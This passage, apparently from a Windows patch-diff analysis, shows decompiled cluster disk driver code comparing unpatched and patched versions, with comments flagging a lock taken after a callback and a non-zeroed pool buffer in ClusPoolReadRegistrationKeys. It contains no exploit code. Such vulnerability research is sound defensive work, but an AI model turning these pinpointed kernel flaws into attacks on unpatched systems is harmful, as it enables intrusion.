&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;--- LOCK AFTER callback&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;376&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;376&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// this+0x178&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... validate disk counts, queue defense IRP under ClusDskSpinLock ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// both resources released before return&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;ClusPoolReadRegistrationKeys — Before vs. After (realloc loop)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1c000fb28) =====&lt;/span&gt;
&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// single cleanup pointer&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2056&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// initial buffer 0x808&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scratch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;POOL_TYPE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CdS0&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// 0x30536443, NOT zeroed&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// free previous buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trace_exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClusPoolSendIoctl3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2D5018&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;outlen&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trace_exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// v4 (== buf) freed at exit&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;4..7&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// big-endian length&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// enough space -&amp;gt; validate below&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trace_exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// else loop and reallocate at size keycount+8&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;4..7&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;outlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// so returned buffer is NOT freed&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// hand buffer to caller&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;                                              &lt;/span&gt;&lt;span class="c1"&gt;// else rc = STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="nl"&gt;trace_exit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// frees current buffer on error paths&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED (0x140010e00) =====&lt;/span&gt;
&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2056&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePool2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30536443&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// POOL_FLAG_NON_PAGED, zero-init&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// free previous buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// -&amp;gt; trace + return at bottom&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClusPoolSendIoctl3&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scratch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// 5-arg form&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_and_return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// frees buf, returns&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;4..7&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;4..7&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;outlen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// hand to caller (not freed)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;rc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741823&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_and_return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// validation failure frees buf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keycount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;free_and_return&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
